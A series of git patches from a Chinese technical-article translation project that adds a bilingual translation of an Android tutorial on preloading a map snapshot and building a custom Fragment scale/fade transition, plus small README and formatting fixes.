 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [484](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [485](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 #  官方指南：
 
@@ -29,10 +29,10 @@
 
 ## iOS
 
+* [在 Swift 中使用闭包实现懒加载](https://juejin.im/post/590a9eeab123db00549776ee/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)) 翻译)
 * [掌握 Swift 的字符串细节](https://juejin.im/post/58f822ff5c497d0058e0e427/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Tuccuay（洪朔）](https://github.com/Tuccuay)) 翻译)
 * [MVVM-C 与 Swift](https://juejin.im/post/58ef16b8da2f60005d180666/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([DeepMissea](https://github.com/DeepMissea)) 翻译)
 * [Swift 闭包和代理中的保留周期](https://juejin.im/post/58e4ac5d44d904006d2a9a19/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([oOatuo](http://atuo.xyz/)) 翻译)
-* [一名 iOS 开发者的 React Native 开发经历](https://juejin.im/post/58df4c3fa0bb9f0069e2f2bd/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)) 翻译)
 * [所有 iOS 译文>>](https://github.com/xitu/gold-miner/blob/master/ios.md)
 
 ## 前端
diff --git a/ios.md b/ios.md
index 442e1fd24ed..2c2fbc5a35d 100644
--- a/ios.md
+++ b/ios.md
@@ -1,3 +1,4 @@
+* [在 Swift 中使用闭包实现懒加载](https://juejin.im/post/590a9eeab123db00549776ee/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih)) 翻译)
 * [掌握 Swift 的字符串细节](https://juejin.im/post/58f822ff5c497d0058e0e427/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([Tuccuay（洪朔）](https://github.com/Tuccuay)) 翻译)
 * [MVVM-C 与 Swift](https://juejin.im/post/58ef16b8da2f60005d180666/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([DeepMissea](https://github.com/DeepMissea)) 翻译)
 * [Swift 闭包和代理中的保留周期](https://juejin.im/post/58e4ac5d44d904006d2a9a19/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([oOatuo](http://atuo.xyz/)) 翻译)

From 59b6bcb2e0457877dd6e78030266056baa469d06 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?ARX-8=5C=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?=
 <catwindboy@hotmail.com>
Date: Sat, 6 May 2017 00:15:56 +0800
Subject: [PATCH 354/638] =?UTF-8?q?2017.5.6=20=E5=88=9D=E7=BF=BB=E5=AE=8C?=
 =?UTF-8?q?=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...-app-part-1-fragments-custom-transition.md | 234 +++++++++++++-----
 1 file changed, 172 insertions(+), 62 deletions(-)

diff --git a/TODO/workcation-app-part-1-fragments-custom-transition.md b/TODO/workcation-app-part-1-fragments-custom-transition.md
index 9f4c3d55708..df8096eb759 100644
--- a/TODO/workcation-app-part-1-fragments-custom-transition.md
+++ b/TODO/workcation-app-part-1-fragments-custom-transition.md
@@ -6,60 +6,109 @@
 
 #  Workcation App – Part 1. Fragment custom transition #
 
+#  Workcation App – 第一部分 . 自定义 Fragment 转场动画 #
+
+
 Welcome to the first of series of posts about my R&D (Research & Development) project I’ve made a while ago. In this blog posts, I want to share my solutions for problems I encountered during the development of an animation idea you’ll see below.
 
-Part 1: [Fragment’s custom transition](https://www.thedroidsonroids.com/?p=5054)
+欢迎阅读本系列文章的第一篇，此系列文章和我前一段时间完成的“研究与开发”项目有关。在文章里，我会针对开发中遇到的动画问题分享一些解决办法。
 
-Part 2: [Animating Markers with MapOverlayLayout](https://www.thedroidsonroids.com/blog/workcation-app-part-2-animating-markers-with-mapoverlaylayout/)
+Part 1: [自定义 Fragment  转场](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-1-fragments-custom-transition.md)
 
-Part 3: [RecyclerView interaction with Animated Markers](https://www.thedroidsonroids.com/blog/workcation-app-part-3-recyclerview-interaction-with-animated-markers/)
+Part 2: [Animating Markers 与 MapOverlayLayout ](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-2-animating-markers-with-mapoverlaylayout.md)
 
-Part 4: [Shared Element Transition with RecyclerView and Scenes](https://www.thedroidsonroids.com/blog/workcation-app-part-4-shared-element-transition-recyclerview-scenes/)
+Part 3: [RecyclerView interaction 与 Animated Markers](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-3-recyclerview-interaction-with-animated-markers.md)
+
+Part 4: [Shared Element Transition with RecyclerView and Scenes](https://github.com/xitu/gold-miner/blob/master/TODO/workcation-app-part-4-shared-element-transition-recyclerview-scenes.md)
 
  
 
-Link for project on Github:  [Workcation App](https://github.com/panwrona/Workcation)
+项目的 Git 地址:  [Workcation App](https://github.com/panwrona/Workcation)
 
-Link for animation on Dribbble: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
+动画的 Dribbble 地址: [https://dribbble.com/shots/2881299-Workcation-App-Map-Animation](https://dribbble.com/shots/2881299-Workcation-App-Map-Animation)
 
 # Prelude #
 
+# 序言 #
+
 A few months back we’ve had a company meeting, where my friend Paweł Szymankiewicz showed the animation he’d done during his Research & Development. And I loved it. After the meeting, I decided that I will code it. I never knew what I’m going to struggle with…
 
+几个月前我们开了一个部门会议，在会议上我的朋友 Paweł Szymankiewicz 给我演示了他在自己的“研究与开发”项目上制作的动画。我非常喜欢这个动画，在开完会以后我准备把用代码实现它。我可没想到到我会摊上啥...
+
  
 
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/02/Bali-App-Animation-3-color-2.gif?x77083) 
 
 GIF 1 *“The animation”*
 
-# Let’s start! #
+GIF 1 *“动画效果”*
+
+# Let’s start! 
+
+# 开始吧！
 
 As we can see in the GIF above, there is a lot of going on.
 
+就像上面 GIF 动画展示的，需要做的事情有很多。
+
 1. After clicking on the bottom menu item, we are moving to the next screen, where we can see the map being loaded with some scale/fade animation from the top, RecyclerView items loaded with translation from the bottom, markers added to the map with scale/fade animation.
+
+1. 在点击底部菜单栏最右方的菜单后，我们会跳转到一个新界面。在此界面中，我们可以看到地图通过缩放和渐显的转场动画被加载到屏幕上方，Recycleview 的 item 随着转场动画加载到屏幕下方，地图上的标记点在转场动画执行的同时被添加到地图上.
+
 2. While scrolling the items in RecyclerView, the markers are pulsing to show their position on the map.
+
+当滑动底部的 RecycleView item 的时候，地图上的标记会根据 RecycleView item 的顺序（position）闪烁。
+
 3. After clicking on the item, we are transferred to the next screen, the map is animated below to show the route and start/finish marker. The RecyclerView’s item is transitioned to show some description, bigger picture, trip details and button.
+
+在点击一个 item 以后，我们会进入到新界面。在此界面中，地图会显示我们到标记点的路径，同时此 RecyclerView 的item 会通过转场动画展示一些关于此地点的描述，背景图片也会放大，还附有更详细的信息和一个按钮。
+
 4. While returning, the transition happens again back to the RecyclerView’s item, all of the markers are shown again, the route disappears.
 
+当后退时，详情页通过转场变成普通的 RecycleView Item，所有的地图标记再次显示，同时路径一起消失。 
+
+
 Pretty much. That’s why I’ve decided to show you all of the things in the series of posts. In this article I will cover the enter animation of the map fragment.
 
-# The Problem #
+就这么多啦，这就是我准备在这一系列文章中向你展示的东西。在本文中我会编写进入地图 fragment 的转场动画。
+
+# The Problem 
+
+# 难点 #
 
 As we can see in the GIF 1 above, it looks like the map is already loaded before and just animated to the proper position. This is not happening in the real world. What it really looks like:
 
+就像我们在 GIF 1 里看到的那样，看起来好像地图在移动到正确地点之前已经加载完毕了。这在真实世界里是不可能的，它实际上是这个样子的：
+
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/map_loading-1.gif?x77083)
 
-# The Solution #
+# The Solution 
+
+# 需求 #
 
 1. Preload map
+
+    预加载地图
+
 2. When map is loaded, use Google Maps API to get bitmap from it and save it in cache
+
+    加载完毕后，使用 Google Map API 获得地图的快照图片（bitmap）并保存在缓存中。
+
 3. Create custom transition for scale and fade effect of the map when entering *DetailsFragment*
 
+    为地图编写一个包含缩放与渐显的自定义转场动画（transition），进入 **DetailsFragment** 的时候就激活。
+
 # Let’s go! #
 
+# 动手吧!
+
 ## Preloading the map ##
 
-To achieve that we have to take bitmap snapshot from already loaded map. Of course we can’t do that in the *DetailsFragment* if we want the smooth transition between screens. What we have to do, is to get bitmap underneath the *HomeFragment* and save it in the cache. As you can see, the map have some margin from the bottom, so we also have to fit the “future” map size.
+## 预加载地图 ##
+
+To achieve that we have to take bitmap snapshot from already loaded map. Of course we can’t do that in the **DetailsFragment** if we want the smooth transition between screens. What we have to do, is to get bitmap underneath the **HomeFragment** and save it in the cache. As you can see, the map have some margin from the bottom, so we also have to fit the “future” map size.
+
+为了实现上述目标，我们首先从已加载的地图上拿到一份快照（snapshot）。当然我们如果想把转场动画做的更平滑一点，肯定不能等进入 **DetailsFragment** 后才获取。所以要怎么做呢？当然是是悄悄的在 **HomeFragment** 里拿到这个图片（bitmap） 并且保存在缓存里啦。地图距离底部还有一点距离（margin），所以我们拿到的图片必须满足"将来的"地图尺寸。
 
 ```
 XHTML
@@ -115,8 +164,10 @@ XHTML
 
 As you can see in the snippet above, the *MapFragment* is placed under the rest of the layout. It will allow us to load the map invisible for the user.
 
+就像上面代码展示的那样，**MapFragment** 被放在布局的最下方，这样我们就可以在用户看不到地方加载地图。
+
 ```
-publicclassMainActivity extendsMvpActivity<MainView,MainPresenter>implementsMainView,OnMapReadyCallback{
+public class MainActivity extends MvpActivity<MainView,MainPresenter> implements MainView,OnMapReadyCallback{
 
     SupportMapFragment mapFragment;
 
@@ -124,7 +175,7 @@ publicclassMainActivity extendsMvpActivity<MainView,MainPresenter>implementsMain
 
     @Override
 
-    protectedvoidonCreate(Bundle savedInstanceState){
+    protected void onCreate(Bundle savedInstanceState){
 
         super.onCreate(savedInstanceState);
 
@@ -150,7 +201,7 @@ publicclassMainActivity extendsMvpActivity<MainView,MainPresenter>implementsMain
 
     @Override
 
-    publicvoidsetMapLatLngBounds(finalLatLngBounds latLngBounds){
+    public void setMapLatLngBounds(finalLatLngBounds latLngBounds){
 
         mapLatLngBounds=latLngBounds;
 
@@ -160,7 +211,7 @@ publicclassMainActivity extendsMvpActivity<MainView,MainPresenter>implementsMain
 
     @Override
 
-    publicvoidonMapReady(finalGoogleMap googleMap){
+    public void onMapReady(final GoogleMap googleMap){
 
         googleMap.moveCamera(CameraUpdateFactory.newLatLngBounds(
 
@@ -181,16 +232,32 @@ publicclassMainActivity extendsMvpActivity<MainView,MainPresenter>implementsMain
 
 MainActivity inherits from MvpActivity, which is a class from [Mosby Framework](https://github.com/sockeqwe/mosby) created by Hannes Dorfmann. The whole project follows MVP pattern, and the framework I mentioned before is a very nice implementation of it.
 
+MainActivity 继承自 MvpActivity，而 MvpActivity 是来自  Hannes Dorfmann 写的 [Mosby Framework](https://github.com/sockeqwe/mosby)。我的项目都遵从 MVP 模式，而这个框架是一个 MVP 模式的非常好的实现。
+
 In onCreate method we have three things:
 
+在 onCreate 方法里我们做了三件事：
+
 1. We are providing *LatLngBounds* for map – they will be used to set the bounds of the map
+
+ 为地图提供了 **LatLngBounds**，他们会被用来添加在地图上的标记
+
 2. We are replacing the *HomeFragment* in activities container layout
+
+ 在 activity 的布局里加载了 **HomeFragment**
+
 3. We are setting the *OnMapReadyCallback* on the *MapFragment*
 
+ 为 **Mapfragment** 设置了 **OnMapReadyCallback** 的回调。
+
+
 After map is ready, the *onMapReady()* method is called, and we can do some operations to save the properly loaded map into bitmap. We are moving camera to earlier provided *LatLngBounds* using *CameraUpdateFactory.newLatLngBounds()* method. In our case we know exactly what will be the dimension of the map in the next screen, so we are able to pass *width*(width of screen) and *height*(height of screen with bottom margin) parameters to this method. We are calculating them like this:
 
+当已经准备好加载地图时，就会调用 **onMapReady()** 方法，我们就可以通过一些操作把当前加载的地图转换成 bitmap 图片。通过 **CameraUpdateFactory.newLatLngBounds()** 方法，我们可以把镜头转到之前提供的 **LatLngBounds**  上。这样的话我们就精确的知道下个页面的地图区域，再把屏幕宽度和高度当作参数传入 **onMapReady()** 方法，像这样操作:
+
+
 ```
-publicstaticintcalculateWidth(finalWindowManager windowManager){
+public static intcalculateWidth(final WindowManager windowManager){
 
     DisplayMetrics metrics=newDisplayMetrics();
 
@@ -201,7 +268,7 @@ publicstaticintcalculateWidth(finalWindowManager windowManager){
 }
 
 
-publicstaticintcalculateHeight(finalWindowManager windowManager,finalintpaddingBottom){
+public static intcalculateHeight(final WindowManager windowManager,finalintpaddingBottom){
 
     DisplayMetrics metrics=newDisplayMetrics();
 
@@ -212,35 +279,43 @@ publicstaticintcalculateHeight(finalWindowManager windowManager,finalintpaddingB
 
 Easy. After *googleMap.moveCamera()* method being called, we are setting the *OnMapLoadedCallback*. When camera is moved to the desired position, the *onMapLoaded()* method is called and we are ready to take bitmap from it.
 
+很简单吧？在调用 **googleMap.moveCamera()** 方法以后，我们设置 **OnMapLoadedCallback**  的回调。当镜头移动到正确的位置的时候，**onMapLoaded()** 会被调用，我们准备好从在此处截图了。
+
 ## Getting bitmap and saving in cache ##
 
+## 获得图片并保存在缓存中 ##
+
 The *onMapLoaded()* method has only one task to do – call *presenter.saveBitmap()* after snapshot is taken from the map. Thanks to lambda expression, we can reduce boilerplate to simply one line
 
+**onMapLoaded()** 方法只做一件事 —— 在从地图上获得快照后调用  **presenter.saveBitmap()** 方法。多亏 lambda 表达式，我们可以缩短代码到一行。(译者注：有关 lamb 表达式，推荐搭配[此文章](https://github.com/xitu/gold-miner/pull/1578/files)一起食用。)
+
 ```
 googleMap.setOnMapLoadedCallback(()->googleMap.snapshot(presenter::saveBitmap));
 ```
 
 The presenters code is really simple. It only saves our bitmap in the cache.
 
+此 presenter （注：MVP 里的 P） 的代码非常简单，它只是把图片保存在缓存里。
+
 ```
 @Override
 
-publicvoidsaveBitmap(finalBitmap bitmap){
+public void saveBitmap(final Bitmap bitmap){
 
     MapBitmapCache.instance().putBitmap(bitmap);
 
 }
 
 
-publicclassMapBitmapCache extendsLruCache<String,Bitmap>{
+public class MapBitmapCache extends LruCache<String,Bitmap>{
 
-    privatestaticfinalintDEFAULT_CACHE_SIZE=(int)(Runtime.getRuntime().maxMemory()/1024)/8;
+    private static final int DEFAULT_CACHE_SIZE=(int)(Runtime.getRuntime().maxMemory()/1024)/8;
 
-    publicstaticfinalStringKEY="MAP_BITMAP_KEY";
+    public static final String KEY="MAP_BITMAP_KEY";
 
  
 
-    privatestaticMapBitmapCache sInstance;
+    private static MapBitmapCache sInstance;
 
     /**
 
@@ -252,7 +327,7 @@ publicclassMapBitmapCache extendsLruCache<String,Bitmap>{
 
      */
 
-    privateMapBitmapCache(finalintmaxSize){
+    private MapBitmapCache(final int maxSize){
 
         super(maxSize);
 
@@ -260,7 +335,7 @@ publicclassMapBitmapCache extendsLruCache<String,Bitmap>{
 
  
 
-    publicstaticMapBitmapCache instance(){
+    public staticMapBitmapCache instance(){
 
         if(sInstance==null){
 
@@ -276,15 +351,15 @@ publicclassMapBitmapCache extendsLruCache<String,Bitmap>{
 
  
 
-    publicBitmap getBitmap(){
+    public Bitmap getBitmap(){
 
-        returnget(KEY);
+        return get(KEY);
 
     }
 
  
 
-    publicvoidputBitmap(Bitmap bitmap){
+    public void putBitmap(Bitmap bitmap){
 
         put(KEY,bitmap);
 
@@ -294,9 +369,9 @@ publicclassMapBitmapCache extendsLruCache<String,Bitmap>{
 
     @Override
 
-    protectedintsizeOf(Stringkey,Bitmap value){
+    protected intsizeOf(String key,Bitmap value){
 
-        returnvalue==null?0:value.getRowBytes()*value.getHeight()/1024;
+        return value==null ? 0 : value.getRowBytes()*value.getHeight()/1024;
 
     }
 
@@ -305,32 +380,41 @@ publicclassMapBitmapCache extendsLruCache<String,Bitmap>{
 
 I’ve used *LruCache* for it, because it is the recommended way, well described [here](https://developer.android.com/topic/performance/graphics/cache-bitmap.html).
 
+此处我使用了 **LruCache** ，因为这是比较推荐的做法，[此处](https://developer.android.com/topic/performance/graphics/cache-bitmap.html)有详细解释。
+
 So we have bitmap saved in the cache, the only thing we have to do is to make custom transition for scale and fade effect of the map when entering *DetailsFragment*. Easy peasy lemon squeezy.
 
+现在我们把bitmap 存到了缓存里，剩下唯一要做的事情就是自定义一个缩放和渐进效果的转场动画。
+毛毛雨洒洒水啦~(译者注: 原文为 Easy peasy lemon squeezy。是一个比较有意思的、以俏皮的语气表达“轻而易举”或者“手到擒来”概念的短语。)
+
+
 ## Custom enter transition for fade/scale map effect ##
+## 自定义一个包含缩放和渐显效果的转场 ##
 
 So the most interesting part! The code is rather simple, however it allows us to do great stuff.
 
+下面是最有意思的部分，代码也炒鸡简单！但就是这部分完成了比较炫酷的事情。
+
 ```
-publicclassScaleDownImageTransitionextendsTransition{
+public class ScaleDownImageTransition extends Transition{
 
-    privatestaticfinalintDEFAULT_SCALE_DOWN_FACTOR=8;
+    private static final int DEFAULT_SCALE_DOWN_FACTOR = 8;
 
-    privatestaticfinalStringPROPNAME_SCALE_X="transitions:scale_down:scale_x";
+    private static final String PROPNAME_SCALE_X="transitions:scale_down:scale_x";
 
-    privatestaticfinalStringPROPNAME_SCALE_Y="transitions:scale_down:scale_y";
+    private static final String PROPNAME_SCALE_Y="transitions:scale_down:scale_y";
 
-    privateBitmap bitmap;
+    private Bitmap bitmap;
 
-    privateContext context;
+    private Context context;
 
  
 
-    privateinttargetScaleFactor=DEFAULT_SCALE_DOWN_FACTOR;
+    private int targetScaleFactor = DEFAULT_SCALE_DOWN_FACTOR;
 
  
 
-    publicScaleDownImageTransition(finalContext context){
+    public ScaleDownImageTransition(final Context context){
 
         this.context=context;
 
@@ -340,7 +424,7 @@ publicclassScaleDownImageTransitionextendsTransition{
 
  
 
-    publicScaleDownImageTransition(finalContext context,finalBitmap bitmap){
+    public ScaleDownImageTransition(final Context context,final Bitmap bitmap){
 
         this(context);
 
@@ -350,7 +434,7 @@ publicclassScaleDownImageTransitionextendsTransition{
 
  
 
-    publicScaleDownImageTransition(finalContext context,finalAttributeSet attrs){
+    public ScaleDownImageTransition(final Context context,final AttributeSet attrs){
 
         super(context,attrs);
 
@@ -372,7 +456,7 @@ publicclassScaleDownImageTransitionextendsTransition{
 
  
 
-    publicvoidsetBitmap(finalBitmap bitmap){
+    public void setBitmap(final Bitmap bitmap){
 
         this.bitmap=bitmap;
 
@@ -380,7 +464,7 @@ publicclassScaleDownImageTransitionextendsTransition{
 
  
 
-    publicvoidsetScaleFactor(finalintfactor){
+    public void setScaleFactor(final intfactor){
 
         targetScaleFactor=factor;
 
@@ -390,45 +474,46 @@ publicclassScaleDownImageTransitionextendsTransition{
 
     @Override
 
-    publicAnimator createAnimator(finalViewGroup sceneRoot,finalTransitionValues startValues,finalTransitionValues endValues){
+    public Animator createAnimator(final ViewGroup sceneRoot,final TransitionValues startValues,final TransitionValues endValues){
 
-        if(null==endValues){
+        if(null == endValues){
 
-            returnnull;
+            return null;
 
         }
 
-        finalView view=endValues.view;
+        final View view=endValues.view;
 
-        if(view instanceofImageView){
+        if (view instanceof ImageView){
 
-            if(bitmap!=null)view.setBackground(newBitmapDrawable(context.getResources(),bitmap));
+            if (bitmap!=null)
+                view.setBackground(new BitmapDrawable(context.getResources(),bitmap));
 
-            floatscaleX=(float)startValues.values.get(PROPNAME_SCALE_X);
+            float scaleX=(float)startValues.values.get(PROPNAME_SCALE_X);
 
-            floatscaleY=(float)startValues.values.get(PROPNAME_SCALE_Y);
+            float scaleY=(float)startValues.values.get(PROPNAME_SCALE_Y);
 
  
 
-            floattargetScaleX=(float)endValues.values.get(PROPNAME_SCALE_X);
+            float targetScaleX=(float)endValues.values.get(PROPNAME_SCALE_X);
 
-            floattargetScaleY=(float)endValues.values.get(PROPNAME_SCALE_Y);
+            float targetScaleY=(float)endValues.values.get(PROPNAME_SCALE_Y);
 
  
 
-            ObjectAnimator scaleXAnimator=ObjectAnimator.ofFloat(view,View.SCALE_X,targetScaleX,scaleX);
+            ObjectAnimator scaleXAnimator = ObjectAnimator.ofFloat(view,View.SCALE_X,targetScaleX,scaleX);
 
-            ObjectAnimator scaleYAnimator=ObjectAnimator.ofFloat(view,View.SCALE_Y,targetScaleY,scaleY);
+            ObjectAnimator scaleYAnimator = ObjectAnimator.ofFloat(view,View.SCALE_Y,targetScaleY,scaleY);
 
-            AnimatorSet set=newAnimatorSet();
+            AnimatorSet set=new AnimatorSet();
 
             set.playTogether(scaleXAnimator,scaleYAnimator,ObjectAnimator.ofFloat(view,View.ALPHA,0.f,1.f));
 
-            returnset;
+            return set;
 
         }
 
-        returnnull;
+        return null;
 
     }
 
@@ -436,7 +521,7 @@ publicclassScaleDownImageTransitionextendsTransition{
 
     @Override
 
-    publicvoidcaptureStartValues(TransitionValues transitionValues){
+    public void captureStartValues(TransitionValues transitionValues){
 
         captureValues(transitionValues,transitionValues.view.getScaleX(),transitionValues.view.getScaleY());
 
@@ -446,7 +531,7 @@ publicclassScaleDownImageTransitionextendsTransition{
 
     @Override
 
-    publicvoidcaptureEndValues(TransitionValues transitionValues){
+    public void captureEndValues(TransitionValues transitionValues){
 
         captureValues(transitionValues,targetScaleFactor,targetScaleFactor);
 
@@ -454,7 +539,7 @@ publicclassScaleDownImageTransitionextendsTransition{
 
  
 
-    privatevoidcaptureValues(finalTransitionValues values,finalfloatscaleX,finalfloatscaleY){
+    private void captureValues(final TransitionValues values,final float scaleX,final float scaleY){
 
         values.values.put(PROPNAME_SCALE_X,scaleX);
 
@@ -467,26 +552,41 @@ publicclassScaleDownImageTransitionextendsTransition{
 
 What we do in this transition is that we are scaling down the scaleX and scaleY properties from ImageView from *scaleFactor* (default is 8) to desired view scale. So in other words we are increasing the width and height by *scaleFactor* in the first place, and then we are scaling it down to desired size.
 
+我们在转场动画中做了什么事情呢？我们用 **scaleFactor** 对传入的 imageView 进行了 scaleX 和 scaleY 属性的缩放（默认是8）。换句话说我们通过 **scaleFactor** 先把图片拉伸，然后再把图片压缩回需要的大小。
+
 ### Creating custom transition ###
+### 创建自定义转场动画 ###
 
 In order to do the custom transition, we have to inherit from Transition class. The next step is to override the *captureStartValues* and *captureEndValues*. What is happening here?
 
+为了编写转场动画，我们必须继承一个 Transition 类。然后重写 **captureStartValues** 和 **captureEndValues** 方法。猜猜发生了啥？
+
 The Transition Framework is using the Property Animation API to animate between view’s start and end property value. If you are not familiar with this, you should definetely read [this article](https://developer.android.com/guide/topics/graphics/prop-animation.html).  As explained before, we want to scale down our image. So the startValue is our scaleFactor, and endValue is the desired scaleX and scaleY – normally it will be 1.
 
+Transition 框架使用了属性动画的 API ，通过改变 view 开始和结束时的属性值来产生动画。如果你不熟悉属性动画，强烈推荐阅读[这篇文章](https://developer.android.com/guide/topics/graphics/prop-animation.html)。就像刚才解释的那样，我们要缩放图片。开始值是 scaleFactor ,结束值是期望 scaleX 和 scaleY的值，通常情况下是1。
+
 How to pass those values? As said before – easy. We have TransitionValues object passed as argument in both *captureStart* and *captureEnd* methods. It contains a reference to the view and a map in which you can store the view values – in our case the scaleX and scaleY.
 
+怎么传递这些值呢？如前所述，很简单。我们把 TransitionValues 对象当作参数传进 **captureStart** 和 **captureEnd** 方法里。它包括一个 view 的引用和一个可以保存值的 Map 对象，在我们的项目中需要保存的值就是 scaleX 和 scaleY。
+
 With values captured, we need to override the *createAnimator()* method. In this method we are returning the *Animator* (or *AnimatorSet*) object which animates changes between view property values. So in our case we are returning the *AnimatorSet* which will animate the scale and alpha of the view. Also we want our transition to work only for ImageView, so we check if view reference from TransitionValues object passed as argument is ImageView instance.
 
+获得这些值以后，我们需要重写 **createAnimator()** 方法。在这个方法中需要返回一个动态改变 view 属性的**动画对象**（或者 **动画序列对象**）。本项目中返回的是**动画序列**对象，此对象同时改变一个 view 的尺寸和亮度。同时，因为我们只希望转场动画作用在 ImageView 上，所以通过 instanceof 进行了对象类型校验，以保证传入的 view 是一个 ImageView。
+
 ### Applying custom transition ###
 
+### 部署自定义转场动画 ###
+
 We have bitmap stored in memory, we have transition created, so we have last step – applying the transition to our fragment. I like to create static factory method for creating the fragments and activities. It looks really nice and helps us to keep the code rather clean. It is also the nice idea to put our Transition there programmatically.
 
+我们已经在缓存中保存了 bitmap 图片，也已经创建了转场动画，所以只剩最后一步 —— 就是为 fragment 添加转场动画。我喜欢写一个静态工厂方法来创建 fragments 和 activities 。这么做可以让我们保持代码逻辑清晰，所以也应该用编程的方式添加转场动画.
+
 ```
-publicstaticFragment newInstance(finalContext ctx){
+public static Fragment newInstance(final Context ctx){
 
-    DetailsFragment fragment=newDetailsFragment();
+    DetailsFragment fragment = new DetailsFragment();
 
-    ScaleDownImageTransition transition=newScaleDownImageTransition(ctx,MapBitmapCache.instance().getBitmap());
+    ScaleDownImageTransition transition=new ScaleDownImageTransition(ctx,MapBitmapCache.instance().getBitmap());
 
     transition.addTarget(ctx.getString(R.string.mapPlaceholderTransition));
 
@@ -494,13 +594,15 @@ publicstaticFragment newInstance(finalContext ctx){
 
     fragment.setEnterTransition(transition);
 
-    returnfragment;
+    return fragment;
 
 }
 ```
 
 As we can see it is really easy to do. We create new instance of our transition, we add target here and also in XML of the target view, via t*ransitionName* attribute.
 
+瞧，做起来多简单。我们为转场动画实例化了一个新的实例，又通过 xml 为它添加了 **transitionName** 的属性。
+
 ```
 <ImageView
 
@@ -517,14 +619,22 @@ As we can see it is really easy to do. We create new instance of our transition,
 
 Next we just pass transition to fragment via *setEnterTransition()* method and voila! There is the effect:
 
+然后我们通过 **setEnterTransition()** 把fragment 传递进去, 看吧!效果出现啦:
+
 ![](https://www.thedroidsonroids.com/wp-content/uploads/2017/03/map_transiton.gif?x77083)
 
 # Conclusion #
 
+#  总结
+
 As you can see, the final result is closer to the original from the GIF than native map loading. There is also a glitch in the final phase of the animation – this is because the snapshot from the map is different than the content of the SupportMapFragment.
 
+你看，最终效果已经很接近像 GIF 那样从本地加载地图的效果了。但是最后一帧动画仍然会有那么一点闪烁，因为地图的快照还是与实际的地图有点差别。
+
 Thanks for reading! Next part will be published on Tuesday 7.03. Feel free to leave a comment if you have any questions, and if you found this blog post helpful – don’t forget to share it!
 
+多谢阅读，下一部分会在 7.03 星期二更新。如果有疑问的话，欢迎评论。当然如果发现这些博文很有趣，不要忘记分享噢。
+
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 9d4a5df326c424d1c835f45f5262ff7123a86a44 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?ARX-8=5C=E6=AC=A7=E9=98=B3=E5=A4=8F=E6=98=B1?=
 <catwindboy@hotmail.com>
Date: Sat, 6 May 2017 00:24:05 +0800
Subject: [PATCH 355/638] =?UTF-8?q?2017.5.6=20=E4=BF=AE=E6=AD=A3=E6=A0=BC?=
 =?UTF-8?q?=E5=BC=8F=E9=94=99=E8=AF=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/workcation-app-part-1-fragments-custom-transition.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/workcation-app-part-1-fragments-custom-transition.md b/TODO/workcation-app-part-1-fragments-custom-transition.md
index df8096eb759..3e385d22705 100644
--- a/TODO/workcation-app-part-1-fragments-custom-transition.md
+++ b/TODO/workcation-app-part-1-fragments-custom-transition.md
@@ -41,7 +41,7 @@ A few months back we’ve had a company meeting, where my friend Paweł Szymanki
 
 GIF 1 *“The animation”*
 
-GIF 1 *“动画效果”*
+GIF 1 **“动画效果”**
 
 # Let’s start! 
 
@@ -201,7 +201,7 @@ public class MainActivity extends MvpActivity<MainView,MainPresenter> implements
 
     @Override
 
-    public void setMapLatLngBounds(finalLatLngBounds latLngBounds){
+    public void setMapLatLngBounds(final LatLngBounds latLngBounds){
 
         mapLatLngBounds=latLngBounds;
 

From 00f5e3d657a769337ca031e461d1c2f7542a29e6 Mon Sep 17 00:00:00 2001
From: rottenpen <522876037@qq.com>
Date: Sat, 6 May 2017 00:32:06 +0800
Subject: [PATCH 356/638] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E4=B8=80=E4=BA=9B?=
 =?UTF-8?q?=E5=B0=8F=E6=AF=9B=E7=97=85?=
